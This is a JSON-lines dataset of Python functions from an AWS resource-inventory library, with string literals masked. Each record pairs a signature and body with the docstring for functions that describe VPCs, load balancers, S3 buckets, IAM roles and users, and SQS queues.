{"signature": "@registry.register(flag=FLAGS.CLASSIC_LINK, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_classic_link(vpc, **conn):", "body": "result = {}<EOL>try:<EOL><INDENT>cl_result = describe_vpc_classic_link(VpcIds=[vpc[\"<STR_LIT:id>\"]], **conn)[<NUM_LIT:0>]<EOL>result[\"<STR_LIT>\"] = cl_result[\"<STR_LIT>\"]<EOL>dns_result = describe_vpc_classic_link_dns_support(VpcIds=[vpc[\"<STR_LIT:id>\"]], **conn)[<NUM_LIT:0>]<EOL>result[\"<STR_LIT>\"] = dns_result[\"<STR_LIT>\"]<EOL><DEDENT>except ClientError as e:<EOL><INDENT>if '<STR_LIT>' not in str(e):<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Gets the Classic Link details about a VPC", "id": "f10838:m1"}
{"signature": "@registry.register(flag=FLAGS.INTERNET_GATEWAY, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_internet_gateway(vpc, **conn):", "body": "result = {}<EOL>ig_result = describe_internet_gateways(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\", \"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>if ig_result:<EOL><INDENT>result.update({<EOL>\"<STR_LIT>\": ig_result[<NUM_LIT:0>][\"<STR_LIT>\"][<NUM_LIT:0>][\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": ig_result[<NUM_LIT:0>][\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": ig_result[<NUM_LIT:0>].get(\"<STR_LIT>\", [])<EOL>})<EOL><DEDENT>return result<EOL>", "docstring": "Gets the Internet Gateway details about a VPC", "id": "f10838:m2"}
{"signature": "@registry.register(flag=FLAGS.VPC_PEERING_CONNECTIONS, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_vpc_peering_connections(vpc, **conn):", "body": "accepter_result = describe_vpc_peering_connections(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>requester_result = describe_vpc_peering_connections(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>peer_ids = []<EOL>for peering in accepter_result + requester_result:<EOL><INDENT>peer_ids.append(peering[\"<STR_LIT>\"])<EOL><DEDENT>return peer_ids<EOL>", "docstring": "Gets the Internet Gateway details about a VPC", "id": "f10838:m3"}
{"signature": "@registry.register(flag=FLAGS.SUBNETS, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_subnets(vpc, **conn):", "body": "subnets = describe_subnets(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\", \"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>s_ids = []<EOL>for s in subnets:<EOL><INDENT>s_ids.append(s[\"<STR_LIT>\"])<EOL><DEDENT>return s_ids<EOL>", "docstring": "Gets the VPC Subnets", "id": "f10838:m4"}
{"signature": "@registry.register(flag=FLAGS.ROUTE_TABLES, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_route_tables(vpc, **conn):", "body": "route_tables = describe_route_tables(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\", \"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>rt_ids = []<EOL>for r in route_tables:<EOL><INDENT>rt_ids.append(r[\"<STR_LIT>\"])<EOL><DEDENT>return rt_ids<EOL>", "docstring": "Gets the VPC Route Tables", "id": "f10838:m5"}
{"signature": "@registry.register(flag=FLAGS.NETWORK_ACLS, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_network_acls(vpc, **conn):", "body": "route_tables = describe_network_acls(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\", \"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>nacl_ids = []<EOL>for r in route_tables:<EOL><INDENT>nacl_ids.append(r[\"<STR_LIT>\"])<EOL><DEDENT>return nacl_ids<EOL>", "docstring": "Gets the VPC Network ACLs", "id": "f10838:m6"}
{"signature": "@registry.register(flag=FLAGS.BASE)<EOL>def get_base(vpc, **conn):", "body": "<EOL>base_result = describe_vpcs(VpcIds=[vpc[\"<STR_LIT:id>\"]], **conn)[<NUM_LIT:0>]<EOL>vpc_name = None<EOL>for t in base_result.get(\"<STR_LIT>\", []):<EOL><INDENT>if t[\"<STR_LIT>\"] == \"<STR_LIT:Name>\":<EOL><INDENT>vpc_name = t[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>dhcp_opts = None<EOL>if base_result.get(\"<STR_LIT>\"):<EOL><INDENT>dhcp_opts = describe_dhcp_options(DhcpOptionsIds=[base_result[\"<STR_LIT>\"]], **conn)[<NUM_LIT:0>][\"<STR_LIT>\"]<EOL><DEDENT>attributes = {}<EOL>attr_vals = [<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>]<EOL>for attr, query in attr_vals:<EOL><INDENT>attributes[attr] = describe_vpc_attribute(VpcId=vpc[\"<STR_LIT:id>\"], Attribute=query, **conn)[attr]<EOL><DEDENT>vpc.update({<EOL>'<STR_LIT:name>': vpc_name,<EOL>'<STR_LIT>': conn[\"<STR_LIT>\"],<EOL>'<STR_LIT>': base_result.get(\"<STR_LIT>\", []),<EOL>'<STR_LIT>': base_result[\"<STR_LIT>\"],<EOL>'<STR_LIT>': base_result[\"<STR_LIT>\"],<EOL>'<STR_LIT>': dhcp_opts,<EOL>'<STR_LIT>': base_result[\"<STR_LIT>\"],<EOL>'<STR_LIT>': base_result.get(\"<STR_LIT>\", []),<EOL>'<STR_LIT>': base_result.get(\"<STR_LIT>\", []),<EOL>'<STR_LIT>': attributes,<EOL>'<STR_LIT>': <NUM_LIT:1><EOL>})<EOL>return vpc<EOL>", "docstring": "The base will return:\n- ARN\n- Region\n- Name\n- Id\n- Tags\n- IsDefault\n- InstanceTenancy\n- CidrBlock\n- CidrBlockAssociationSet\n- Ipv6CidrBlockAssociationSet\n- DhcpOptionsId\n- Attributes\n- _version\n\n:param bucket_name:\n:param conn:\n:return:", "id": "f10838:m7"}
{"signature": "@modify_output<EOL>def get_vpc(vpc_id, flags=FLAGS.ALL, **conn):", "body": "<EOL>if not conn.get(\"<STR_LIT>\"):<EOL><INDENT>raise CloudAuxException({\"<STR_LIT:message>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\": vpc_id})<EOL><DEDENT>if not conn.get(\"<STR_LIT>\"):<EOL><INDENT>raise CloudAuxException({\"<STR_LIT:message>\": \"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\": vpc_id})<EOL><DEDENT>start = {<EOL>'<STR_LIT>': \"<STR_LIT>\".format(region=conn[\"<STR_LIT>\"],<EOL>account=conn[\"<STR_LIT>\"],<EOL>vpc_id=vpc_id),<EOL>'<STR_LIT:id>': vpc_id<EOL>}<EOL>return registry.build_out(flags, start_with=start, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully fetch details about a VPC:\n\n{\n    \"Arn\": ...,\n    \"Region\": ...,\n    \"Name\": ...,\n    \"Id\": ...,\n    \"Tags: ...,\n    \"VpcPeeringConnections\": ...,\n    \"ClassicLink\": ...,\n    \"DhcpOptionsId\": ...,\n    \"InternetGateway\": ...,\n    \"IsDefault\": ...,\n    \"CidrBlock\": ...,\n    \"CidrBlockAssociationSet\": ...,\n    \"Ipv6CidrBlockAssociationSet\": ...,\n    \"InstanceTenancy\": ...,\n    \"RouteTables\": ...,\n    \"NetworkAcls\": ...,\n    \"FlowLogs\": ...,\n    \"Subnets\": ...,\n    \"Attributes\": ...,\n    \"FlowLogs\": ...,\n    \"_version\": 1\n}\n\n:param vpc_id: The ID of the VPC\n:param flags:\n:param conn:\n:return:", "id": "f10838:m8"}
{"signature": "def _reformat_policy(policy):", "body": "policy_name = policy['<STR_LIT>']<EOL>ret = {}<EOL>ret['<STR_LIT:type>'] = policy['<STR_LIT>']<EOL>attrs = policy['<STR_LIT>']<EOL>if ret['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>return policy_name, ret<EOL><DEDENT>attributes = dict()<EOL>for attr in attrs:<EOL><INDENT>attributes[attr['<STR_LIT>']] = attr['<STR_LIT>']<EOL><DEDENT>ret['<STR_LIT>'] = dict()<EOL>ret['<STR_LIT>']['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>']['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>']['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>']['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>']['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>'] = bool(attributes.get('<STR_LIT>'))<EOL>ret['<STR_LIT>'] = attributes.get('<STR_LIT>', None)<EOL>non_ciphers = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>ciphers = []<EOL>for cipher in attributes:<EOL><INDENT>if attributes[cipher] == '<STR_LIT:true>' and cipher not in non_ciphers:<EOL><INDENT>ciphers.append(cipher)<EOL><DEDENT><DEDENT>ciphers.sort()<EOL>ret['<STR_LIT>'] = ciphers<EOL>return policy_name, ret<EOL>", "docstring": "Policies returned from boto3 are massive, ugly, and difficult to read.\nThis method flattens and reformats the policy.\n\n:param policy: Result from invoking describe_load_balancer_policies(...)\n:return: Returns a tuple containing policy_name and the reformatted policy dict.", "id": "f10839:m0"}
{"signature": "def _flatten_listener(listener):", "body": "result = dict()<EOL>if set(listener.keys()) == set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>result.update(listener['<STR_LIT>'])<EOL>result['<STR_LIT>'] = listener['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>result = dict(listener)<EOL><DEDENT>return result<EOL>", "docstring": "from\n\n{\n  \"Listener\": {\n    \"InstancePort\": 80,\n    \"LoadBalancerPort\": 80,\n    \"Protocol\": \"HTTP\",\n    \"InstanceProtocol\": \"HTTP\"\n  },\n  \"PolicyNames\": []\n},\n\nto\n\n{\n    \"InstancePort\": 80,\n    \"LoadBalancerPort\": 80,\n    \"Protocol\": \"HTTP\",\n    \"InstanceProtocol\": \"HTTP\",\n    \"PolicyNames\": []\n}", "id": "f10839:m1"}
{"signature": "@modify_output<EOL>def get_load_balancer(load_balancer, flags=FLAGS.ALL ^ FLAGS.POLICY_TYPES, **conn):", "body": "<EOL>try:<EOL><INDENT>basestring<EOL><DEDENT>except NameError as _:<EOL><INDENT>basestring = str<EOL><DEDENT>if isinstance(load_balancer, basestring):<EOL><INDENT>load_balancer = dict(LoadBalancerName=load_balancer)<EOL><DEDENT>return registry.build_out(flags, start_with=load_balancer, pass_datastructure=True, **conn)<EOL>", "docstring": "Fully describes an ELB.\n\n:param loadbalancer: Could be an ELB Name or a dictionary. Likely the return value from a previous call to describe_load_balancers. At a minimum, must contain a key titled 'LoadBalancerName'.\n:param flags: Flags describing which sections should be included in the return value. Default is FLAGS.ALL minus FLAGS.POLICY_TYPES.\n:return: Returns a dictionary describing the ELB with the fields described in the flags parameter.", "id": "f10839:m7"}
{"signature": "@modify_output<EOL>def get_vault(vault_obj, flags=FLAGS.ALL, **conn):", "body": "if isinstance(vault_obj, string_types):<EOL><INDENT>vault_arn = ARN(vault_obj)<EOL>if vault_arn.error:<EOL><INDENT>vault_obj = {'<STR_LIT>': vault_obj}<EOL><DEDENT>else:<EOL><INDENT>vault_obj = {'<STR_LIT>': vault_arn.parsed_name}<EOL><DEDENT><DEDENT>return registry.build_out(flags, vault_obj, **conn)<EOL>", "docstring": "Orchestrates calls to build a Glacier Vault in the following format:\n\n{\n    \"VaultARN\": ...,\n    \"VaultName\": ...,\n    \"CreationDate\" ...,\n    \"LastInventoryDate\" ...,\n    \"NumberOfArchives\" ...,\n    \"SizeInBytes\" ...,\n    \"Policy\" ...,\n    \"Tags\" ...\n}\nArgs:\n    vault_obj: name, ARN, or dict of Glacier Vault\n    flags: Flags describing which sections should be included in the return value. Default ALL\n\nReturns:\n    dictionary describing the requested Vault", "id": "f10840:m3"}
{"signature": "@modify_output<EOL>def get_image(image_id, flags=FLAGS.ALL, **conn):", "body": "image = dict(ImageId=image_id)<EOL>conn['<STR_LIT>'] = conn.get('<STR_LIT>', '<STR_LIT>')<EOL>return registry.build_out(flags, image, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an EC2 Image (AMI, AKI, ARI)\n\n{\n    \"Architecture\": \"x86_64\", \n    \"Arn\": \"arn:aws:ec2:us-east-1::image/ami-11111111\", \n    \"BlockDeviceMappings\": [], \n    \"CreationDate\": \"2013-07-11T16:04:06.000Z\", \n    \"Description\": \"...\", \n    \"Hypervisor\": \"xen\", \n    \"ImageId\": \"ami-11111111\", \n    \"ImageLocation\": \"111111111111/...\", \n    \"ImageType\": \"machine\", \n    \"KernelId\": \"aki-88888888\", \n    \"LaunchPermissions\": [], \n    \"Name\": \"...\", \n    \"OwnerId\": \"111111111111\", \n    \"ProductCodes\": [], \n    \"Public\": false, \n    \"RamdiskId\": {}, \n    \"RootDeviceName\": \"/dev/sda1\", \n    \"RootDeviceType\": \"ebs\", \n    \"SriovNetSupport\": \"simple\",\n    \"State\": \"available\", \n    \"Tags\": [], \n    \"VirtualizationType\": \"hvm\", \n    \"_version\": 1\n}\n\n:param image_id: str ami id\n:param flags: By default, set to ALL fields\n:param conn: dict containing enough information to make a connection to the desired account.\nMust at least have 'assume_role' key.\n:return: dict containing a fully built out image.", "id": "f10841:m5"}
{"signature": "@modify_output<EOL>def get_elbv2(alb, flags=FLAGS.ALL, **conn):", "body": "<EOL>try:<EOL><INDENT>basestring<EOL><DEDENT>except NameError as _:<EOL><INDENT>basestring = str<EOL><DEDENT>if isinstance(alb, basestring):<EOL><INDENT>from cloudaux.orchestration.aws.arn import ARN<EOL>alb_arn = ARN(alb)<EOL>if alb_arn.error:<EOL><INDENT>alb = dict(LoadBalancerName=alb)<EOL><DEDENT>else:<EOL><INDENT>alb = dict(LoadBalancerArn=alb)<EOL><DEDENT><DEDENT>return registry.build_out(flags, start_with=alb, pass_datastructure=True, **conn)<EOL>", "docstring": "Fully describes an ALB (ELBv2).\n\n:param alb: Could be an ALB Name, ALB ARN, or a dictionary. Likely the return value from a previous call to describe_load_balancers. At a minimum, must contain a key titled 'LoadBalancerArn'.\n:param flags: Flags describing which sections should be included in the return value. Default is FLAGS.ALL.\n:return: Returns a dictionary describing the ALB with the fields described in the flags parameter.", "id": "f10842:m8"}
{"signature": "@modify_output<EOL>def get_security_group(sg_obj, flags=FLAGS.ALL, **conn):", "body": "if isinstance(sg_obj, string_types):<EOL><INDENT>group_arn = ARN(sg_obj)<EOL>if group_arn.error:<EOL><INDENT>sg_obj = {'<STR_LIT>': sg_obj}<EOL><DEDENT>else:<EOL><INDENT>sg_obj = {'<STR_LIT>': group_arn.parsed_name}<EOL><DEDENT><DEDENT>return registry.build_out(flags, sg_obj, **conn)<EOL>", "docstring": "Orchestrates calls to build a Security Group in the following format:\n\n{\n    \"Description\": ...,\n    \"GroupName\": ...,\n    \"IpPermissions\" ...,\n    \"OwnerId\" ...,\n    \"GroupId\" ...,\n    \"IpPermissionsEgress\" ...,\n    \"VpcId\" ...\n}\nArgs:\n    sg_obj: name, ARN, or dict of Security Group\n    flags: Flags describing which sections should be included in the return value. Default ALL\n\nReturns:\n    dictionary describing the requested Security Group", "id": "f10843:m1"}
{"signature": "def _conn_from_arn(arn):", "body": "arn = ARN(arn)<EOL>if arn.error:<EOL><INDENT>raise CloudAuxException('<STR_LIT>'.format(arn=arn))<EOL><DEDENT>return dict(<EOL>account_number=arn.account_number,<EOL>)<EOL>", "docstring": "Extracts the account number from an ARN.\n:param arn: Amazon ARN containing account number.\n:return: dictionary with a single account_number key that can be merged with an existing\nconnection dictionary containing fields such as assume_role, session_name, region.", "id": "f10845:m1"}
{"signature": "def _get_name_from_structure(item, default):", "body": "if item.get(default):<EOL><INDENT>return item.get(default)<EOL><DEDENT>if item.get('<STR_LIT>'):<EOL><INDENT>arn = item.get('<STR_LIT>')<EOL>item_arn = ARN(arn)<EOL>if item_arn.error:<EOL><INDENT>raise CloudAuxException('<STR_LIT>'.format(arn=arn))<EOL><DEDENT>return item_arn.parsed_name<EOL><DEDENT>raise MissingFieldException('<STR_LIT>'.format(input=item))<EOL>", "docstring": "Given a possibly sparsely populated item dictionary, try to retrieve the item name.\nFirst try the default field.  If that doesn't exist, try to parse the from the ARN.\n:param item: dict containing (at the very least) item_name and/or arn\n:return: item name", "id": "f10845:m2"}
{"signature": "@modify_output<EOL>def get_queue(queue, flags=FLAGS.ALL, **conn):", "body": "<EOL>if queue.startswith(\"<STR_LIT>\") or queue.startswith(\"<STR_LIT>\"):<EOL><INDENT>queue_name = queue<EOL><DEDENT>else:<EOL><INDENT>queue_name = get_queue_url(QueueName=queue, **conn)<EOL><DEDENT>sqs_queue = {\"<STR_LIT>\": queue_name}<EOL>return registry.build_out(flags, sqs_queue, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully fetch details about an SQS Queue:\n\n{\n    \"Arn\": ...,\n    \"Region\": ...,\n    \"Name\": ...,\n    \"Url\": ...,\n    \"Attributes\": ...,\n    \"Tags\": ...,\n    \"DeadLetterSourceQueues\": ...,\n    \"_version\": 1\n}\n\n:param queue: Either the queue name OR the queue url\n:param flags: By default, set to ALL fields.\n:param conn: dict containing enough information to make a connection to the desired account. Must at least have\n             'assume_role' key.\n:return: dict containing a fully built out SQS queue.", "id": "f10846:m3"}
{"signature": "@modify_output<EOL>def get_bucket(bucket_name, include_created=None, flags=FLAGS.ALL ^ FLAGS.CREATED_DATE, **conn):", "body": "if type(include_created) is bool:<EOL><INDENT>if include_created:<EOL><INDENT>flags = flags | FLAGS.CREATED_DATE<EOL><DEDENT>else:<EOL><INDENT>flags = flags & ~FLAGS.CREATED_DATE<EOL><DEDENT><DEDENT>region = get_bucket_region(Bucket=bucket_name, **conn)<EOL>if not region:<EOL><INDENT>return dict(Error='<STR_LIT>')<EOL><DEDENT>conn['<STR_LIT>'] = region<EOL>return registry.build_out(flags, bucket_name, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an S3 bucket in the following format:\n\n{\n    \"Arn\": ...,\n    \"Name\": ...,\n    \"Region\": ...,\n    \"Owner\": ...,\n    \"Grants\": ...,\n    \"GrantReferences\": ...,\n    \"LifecycleRules\": ...,\n    \"Logging\": ...,\n    \"Policy\": ...,\n    \"Tags\": ...,\n    \"Versioning\": ...,\n    \"Website\": ...,\n    \"Cors\": ...,\n    \"Notifications\": ...,\n    \"Acceleration\": ...,\n    \"Replication\": ...,\n    \"CreationDate\": ...,\n    \"AnalyticsConfigurations\": ...,\n    \"MetricsConfigurations\": ...,\n    \"InventoryConfigurations\": ...,\n    \"_version\": 9\n}\n\nNOTE: \"GrantReferences\" is an ephemeral field that is not guaranteed to be consistent -- do not base logic off of it\n\n:param include_created: legacy param moved to FLAGS.\n:param bucket_name: str bucket name\n:param flags: By default, set to ALL fields except for FLAGS.CREATED_DATE as obtaining that information is a slow\n              and expensive process.\n:param conn: dict containing enough information to make a connection to the desired account. Must at least have\n             'assume_role' key.\n:return: dict containing a fully built out bucket.", "id": "f10847:m16"}
{"signature": "@registry.register(flag=FLAGS.INLINE_POLICIES, key='<STR_LIT>')<EOL>def get_inline_policies(group, **conn):", "body": "policy_list = list_group_policies(group['<STR_LIT>'])<EOL>policy_documents = {}<EOL>for policy in policy_list:<EOL><INDENT>policy_documents[policy] = get_group_policy_document(group['<STR_LIT>'], policy, **conn)<EOL><DEDENT>return policy_documents<EOL>", "docstring": "Get the inline policies for the group.", "id": "f10848:m0"}
{"signature": "@registry.register(flag=FLAGS.MANAGED_POLICIES, key='<STR_LIT>')<EOL>def get_managed_policies(group, **conn):", "body": "managed_policies = list_attached_group_managed_policies(group['<STR_LIT>'], **conn)<EOL>managed_policy_names = []<EOL>for policy in managed_policies:<EOL><INDENT>managed_policy_names.append(policy['<STR_LIT>'])<EOL><DEDENT>return managed_policy_names<EOL>", "docstring": "Get a list of the managed policy names that are attached to the group.", "id": "f10848:m1"}
{"signature": "@registry.register(flag=FLAGS.USERS, key='<STR_LIT>')<EOL>def get_users(group, **conn):", "body": "group_details = get_group_api(group['<STR_LIT>'], **conn)<EOL>user_list = []<EOL>for user in group_details.get('<STR_LIT>', []):<EOL><INDENT>user_list.append(user['<STR_LIT>'])<EOL><DEDENT>return user_list<EOL>", "docstring": "Gets a list of the usernames that are a part of this group.", "id": "f10848:m2"}
{"signature": "@registry.register(flag=FLAGS.BASE)<EOL>def _get_base(group, **conn):", "body": "group['<STR_LIT>'] = <NUM_LIT:1><EOL>group.update(get_group_api(group['<STR_LIT>'], users=False, **conn)['<STR_LIT>'])<EOL>group['<STR_LIT>'] = get_iso_string(group['<STR_LIT>'])<EOL>return group<EOL>", "docstring": "Fetch the base IAM Group.", "id": "f10848:m3"}
{"signature": "@modify_output<EOL>def get_group(group, flags=FLAGS.BASE | FLAGS.INLINE_POLICIES | FLAGS.MANAGED_POLICIES, **conn):", "body": "if not group.get('<STR_LIT>'):<EOL><INDENT>raise MissingFieldException('<STR_LIT>')<EOL><DEDENT>group = modify(group, output='<STR_LIT>')<EOL>_conn_from_args(group, conn)<EOL>return registry.build_out(flags, start_with=group, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an IAM Group in the following format:\n\n{\n    \"Arn\": ...,\n    \"GroupName\": ...,\n    \"Path\": ...,\n    \"GroupId\": ...,\n    \"CreateDate\": ...,  # str\n    \"InlinePolicies\": ...,\n    \"ManagedPolicies\": ...,  # These are just the names of the Managed Policies.\n    \"Users\": ...,  # False by default -- these are just the names of the users.\n    \"_version\": 1\n}\n\n:param flags: By default, Users is disabled. This is somewhat expensive as it has to call the `get_group` call\n              multiple times.\n:param group: dict MUST contain the GroupName and also a combination of either the ARN or the account_number.\n:param output: Determines whether keys should be returned camelized or underscored.\n:param conn: dict containing enough information to make a connection to the desired account.\n             Must at least have 'assume_role' key.\n:return: dict containing fully built out Group.", "id": "f10848:m4"}
{"signature": "@registry.register(flag=FLAGS.BASE)<EOL>def _get_base(role, **conn):", "body": "base_fields = frozenset(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>needs_base = False<EOL>for field in base_fields:<EOL><INDENT>if field not in role:<EOL><INDENT>needs_base = True<EOL>break<EOL><DEDENT><DEDENT>if needs_base:<EOL><INDENT>role_name = _get_name_from_structure(role, '<STR_LIT>')<EOL>role = CloudAux.go('<STR_LIT>', RoleName=role_name, **conn)<EOL>role = role['<STR_LIT>']<EOL><DEDENT>role.update(dict(CreateDate=get_iso_string(role['<STR_LIT>'])))<EOL>role['<STR_LIT>'] = <NUM_LIT:3><EOL>return role<EOL>", "docstring": "Determine whether the boto get_role call needs to be made or if we already have all that data\nin the role object.\n:param role: dict containing (at the very least) role_name and/or arn.\n:param conn: dict containing enough information to make a connection to the desired account.\n:return: Camelized dict describing role containing all all base_fields.", "id": "f10849:m4"}
{"signature": "@modify_output<EOL>def get_role(role, flags=FLAGS.ALL, **conn):", "body": "role = modify(role, output='<STR_LIT>')<EOL>_conn_from_args(role, conn)<EOL>return registry.build_out(flags, start_with=role, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an IAM Role in the following format:\n\n{\n    \"Arn\": ...,\n    \"AssumeRolePolicyDocument\": ...,\n    \"CreateDate\": ...,  # str\n    \"InlinePolicies\": ...,\n    \"InstanceProfiles\": ...,\n    \"ManagedPolicies\": ...,\n    \"Path\": ...,\n    \"RoleId\": ...,\n    \"RoleName\": ...,\n    \"Tags\": {},\n    \"_version\": 3\n}\n\n:param role: dict containing (at the very least) role_name and/or arn.\n:param output: Determines whether keys should be returned camelized or underscored.\n:param conn: dict containing enough information to make a connection to the desired account.\nMust at least have 'assume_role' key.\n:return: dict containing a fully built out role.", "id": "f10849:m5"}
{"signature": "def get_all_roles(**conn):", "body": "roles = []<EOL>account_roles = get_account_authorization_details('<STR_LIT>', **conn)<EOL>for role in account_roles:<EOL><INDENT>roles.append(<EOL>{<EOL>'<STR_LIT>': role['<STR_LIT>'],<EOL>'<STR_LIT>': role['<STR_LIT>'],<EOL>'<STR_LIT>': get_iso_string(role['<STR_LIT>']),<EOL>'<STR_LIT>': role['<STR_LIT>'],<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT:path>': ip['<STR_LIT>'],<EOL>'<STR_LIT>': ip['<STR_LIT>'],<EOL>'<STR_LIT>': get_iso_string(ip['<STR_LIT>']),<EOL>'<STR_LIT>': ip['<STR_LIT>'],<EOL>'<STR_LIT>': ip['<STR_LIT>']<EOL>} for ip in role['<STR_LIT>']],<EOL>'<STR_LIT>': [<EOL>{<EOL>\"<STR_LIT:name>\": x['<STR_LIT>'],<EOL>\"<STR_LIT>\": x['<STR_LIT>']<EOL>} for x in role['<STR_LIT>']<EOL>],<EOL>'<STR_LIT>': role['<STR_LIT>'],<EOL>'<STR_LIT>': role['<STR_LIT>'],<EOL>'<STR_LIT>': role['<STR_LIT>']<EOL>}<EOL>)<EOL><DEDENT>return roles<EOL>", "docstring": "Returns a List of Roles represented as the dictionary below:\n\n{\n    \"Arn\": ...,\n    \"AssumeRolePolicyDocument\": ...,\n    \"CreateDate\": ...,  # str\n    \"InlinePolicies\": ...,\n    \"InstanceProfiles\": ...,\n    \"ManagedPolicies\": ...,\n    \"Path\": ...,\n    \"RoleId\": ...,\n    \"RoleName\": ...,\n}\n\n:param conn: dict containing enough information to make a connection to the desired account.\n:return: list containing dicts or fully built out roles", "id": "f10849:m6"}
{"signature": "@modify_output<EOL>def get_user(user, flags=FLAGS.ALL, **conn):", "body": "user = modify(user, output='<STR_LIT>')<EOL>_conn_from_args(user, conn)<EOL>return registry.build_out(flags, start_with=user, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an IAM User in the following format:\n\n{\n    \"Arn\": ...,\n    \"AccessKeys\": ...,\n    \"CreateDate\": ...,  # str\n    \"InlinePolicies\": ...,\n    \"ManagedPolicies\": ...,\n    \"MFADevices\": ...,\n    \"Path\": ...,\n    \"UserId\": ...,\n    \"UserName\": ...,\n    \"SigningCerts\": ...\n}\n\n:param user: dict MUST contain the UserName and also a combination of either the ARN or the account_number\n:param output: Determines whether keys should be returned camelized or underscored.\n:param conn: dict containing enough information to make a connection to the desired account.\nMust at least have 'assume_role' key.\n:return: dict containing fully built out user.", "id": "f10852:m7"}
{"signature": "def get_all_users(flags=FLAGS.ACCESS_KEYS | FLAGS.MFA_DEVICES | FLAGS.LOGIN_PROFILE | FLAGS.SIGNING_CERTIFICATES,<EOL>**conn):", "body": "users = []<EOL>account_users = get_account_authorization_details('<STR_LIT>', **conn)<EOL>for user in account_users:<EOL><INDENT>temp_user = {<EOL>'<STR_LIT>': user['<STR_LIT>'],<EOL>'<STR_LIT>': get_iso_string(user['<STR_LIT>']),<EOL>'<STR_LIT>': user['<STR_LIT>'],<EOL>'<STR_LIT>': user['<STR_LIT>'],<EOL>'<STR_LIT>': [<EOL>{<EOL>\"<STR_LIT:name>\": x['<STR_LIT>'],<EOL>\"<STR_LIT>\": x['<STR_LIT>']<EOL>} for x in user['<STR_LIT>']<EOL>],<EOL>'<STR_LIT>': user['<STR_LIT>'],<EOL>'<STR_LIT>': user['<STR_LIT>'],<EOL>'<STR_LIT>': user['<STR_LIT>']<EOL>}<EOL>user = modify(temp_user, output='<STR_LIT>')<EOL>_conn_from_args(user, conn)<EOL>users.append(registry.build_out(flags, start_with=user, pass_datastructure=True, **conn))<EOL><DEDENT>return users<EOL>", "docstring": "Returns a list of Users represented as dictionary below:\n\n{\n    \"Arn\": ...,\n    \"AccessKeys\": ...,\n    \"CreateDate\": ...,  # str\n    \"InlinePolicies\": ...,\n    \"ManagedPolicies\": ...,\n    \"MFADevices\": ...,\n    \"Path\": ...,\n    \"UserId\": ...,\n    \"UserName\": ...,\n    \"SigningCerts\": ...\n}\n\n:param flags:\n:param conn: dict containing enough information to make a connection to the desired account.\n:return: list of dicts containing fully built out user.", "id": "f10852:m8"}
{"signature": "@registry.register(flag=FLAGS.BASE)<EOL>def get_base(managed_policy, **conn):", "body": "managed_policy['<STR_LIT>'] = <NUM_LIT:1><EOL>arn = _get_name_from_structure(managed_policy, '<STR_LIT>')<EOL>policy = get_policy(arn, **conn)<EOL>document = get_managed_policy_document(arn, policy_metadata=policy, **conn)<EOL>managed_policy.update(policy['<STR_LIT>'])<EOL>managed_policy['<STR_LIT>'] = document<EOL>managed_policy['<STR_LIT>'] = get_iso_string(managed_policy['<STR_LIT>'])<EOL>managed_policy['<STR_LIT>'] = get_iso_string(managed_policy['<STR_LIT>'])<EOL>return managed_policy<EOL>", "docstring": "Fetch the base Managed Policy.\n\n    This includes the base policy and the latest version document.\n\n    :param managed_policy:\n    :param conn:\n    :return:", "id": "f10853:m0"}
